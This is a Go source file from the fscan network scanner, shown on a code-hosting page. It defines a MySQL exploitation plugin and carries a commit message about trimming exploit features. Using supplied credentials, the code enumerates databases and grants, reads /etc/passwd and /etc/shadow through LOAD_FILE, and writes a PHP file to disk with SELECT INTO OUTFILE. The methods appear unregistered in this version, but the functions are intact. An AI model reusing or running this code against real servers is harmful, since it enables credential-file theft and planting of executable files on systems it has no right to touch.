fscan/Plugins/services/mysql/exploiter.go
ZacharyZcR 60e59f5a78 refactor: 精简利用功能,只保留真正有攻击价值的利用方法
- 完全移除FTP、MySQL、SSH、ActiveMQ的利用功能,只保留弱密码扫描
- 重构Redis插件利用方法,严格按参数控制启用:
  * arbitrary_file_write: 需要-rwp和(-rwc或-rwf)参数
  * ssh_key_write: 需要-rf参数
  * crontab_injection: 需要-rs参数
- 修复Redis未授权访问时的利用条件检查问题
- 去除所有信息收集类利用,只保留GetShell和文件写入等实际攻击能力

现在利用功能完全参数驱动,只有提供对应参数时才启动相应利用方法
2025-08-08 09:40:56 +08:00

332 lines
9.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package mysql
import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"strconv"
"strings"
)
// MySQLExploiter MySQL利用器实现
type MySQLExploiter struct {
*base.BaseExploiter
connector *MySQLConnector
}
// NewMySQLExploiter 创建MySQL利用器
func NewMySQLExploiter() *MySQLExploiter {
exploiter := &MySQLExploiter{
BaseExploiter: base.NewBaseExploiter("mysql"),
connector: NewMySQLConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *MySQLExploiter) setupExploitMethods() {
// MySQL插件不提供利用功能仅进行弱密码扫描
}
// exploitInformationGathering 信息收集利用
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
// 获取版本信息
version, err := e.getVersion(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
result.Extra["version"] = version
}
// 获取当前用户
user, err := e.getCurrentUser(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
result.Extra["current_user"] = user
}
// 获取当前数据库
database, err := e.getCurrentDatabase(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
result.Extra["current_database"] = database
}
return result, nil
}
// exploitDatabaseEnumeration 数据库枚举利用
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
// 枚举数据库
databases, err := e.enumerateDatabases(ctx, db)
if err == nil && len(databases) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
result.Extra["databases"] = databases
}
// 枚举表(限制在非系统数据库中)
tables, err := e.enumerateTables(ctx, db)
if err == nil && len(tables) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
result.Extra["tables"] = tables
}
return result, nil
}
// exploitPrivilegeCheck 权限检查利用
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
// 检查用户权限
privileges, err := e.getUserPrivileges(ctx, db)
if err == nil && len(privileges) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
result.Extra["privileges"] = privileges
}
// 检查是否有FILE权限
hasFilePriv := e.hasFilePrivilege(privileges)
result.Extra["has_file_privilege"] = hasFilePriv
if hasFilePriv {
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
}
return result, nil
}
// exploitFileRead 文件读取利用
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
}
defer db.Close()
// 尝试读取常见的敏感文件
filesToRead := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
}
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
hasRead := false
for _, file := range filesToRead {
content, err := e.readFile(ctx, db, file)
if err == nil && content != "" {
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
hasRead = true
}
}
if !hasRead {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
}
return result, nil
}
// exploitFileWrite 文件写入利用
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
// 尝试写入测试文件
testContent := "<?php echo 'MySQL File Write Test'; ?>"
testFile := "/tmp/mysql_test.php"
err = e.writeFile(ctx, db, testFile, testContent)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
base.AddFileToResult(result, testFile)
return result, nil
}
// =============================================================================
// MySQL操作辅助函数
// =============================================================================
// connectWithCredentials 使用凭据连接数据库
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
// 解析端口号
port, err := strconv.Atoi(info.Ports)
if err != nil {
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
}
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
db, err := sql.Open("mysql", connStr)
if err != nil {
return nil, err
}
// 测试连接
if err = db.PingContext(ctx); err != nil {
db.Close()
return nil, err
}
return db, nil
}
// buildConnectionString 构建连接字符串
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
if common.Socks5Proxy != "" {
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
// getVersion 获取MySQL版本
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
var version string
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
return version, err
}
// getCurrentUser 获取当前用户
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
var user string
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
return user, err
}
// getCurrentDatabase 获取当前数据库
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
var database string
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
return database, err
}
// enumerateDatabases 枚举数据库
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
if err != nil {
return nil, err
}
defer rows.Close()
var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
continue
}
databases = append(databases, dbName)
}
return databases, nil
}
// enumerateTables 枚举表
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
rows, err := db.QueryContext(ctx, `
SELECT TABLE_SCHEMA, TABLE_NAME
FROM information_schema.TABLES
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
LIMIT 50
`)
if err != nil {
return nil, err
}
defer rows.Close()
tables := make(map[string][]string)
for rows.Next() {
var schema, table string
if err := rows.Scan(&schema, &table); err != nil {
continue
}
tables[schema] = append(tables[schema], table)
}
return tables, nil
}
// getUserPrivileges 获取用户权限
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
if err != nil {
return nil, err
}
defer rows.Close()
var privileges []string
for rows.Next() {
var grant string
if err := rows.Scan(&grant); err != nil {
continue
}
privileges = append(privileges, grant)
}
return privileges, nil
}
// hasFilePrivilege 检查是否有FILE权限
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
for _, priv := range privileges {
if strings.Contains(strings.ToUpper(priv), "FILE") {
return true
}
}
return false
}
// readFile 读取文件
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
var content string
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
err := db.QueryRowContext(ctx, query).Scan(&content)
return content, err
}
// writeFile 写入文件
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
_, err := db.ExecContext(ctx, query)
return err
}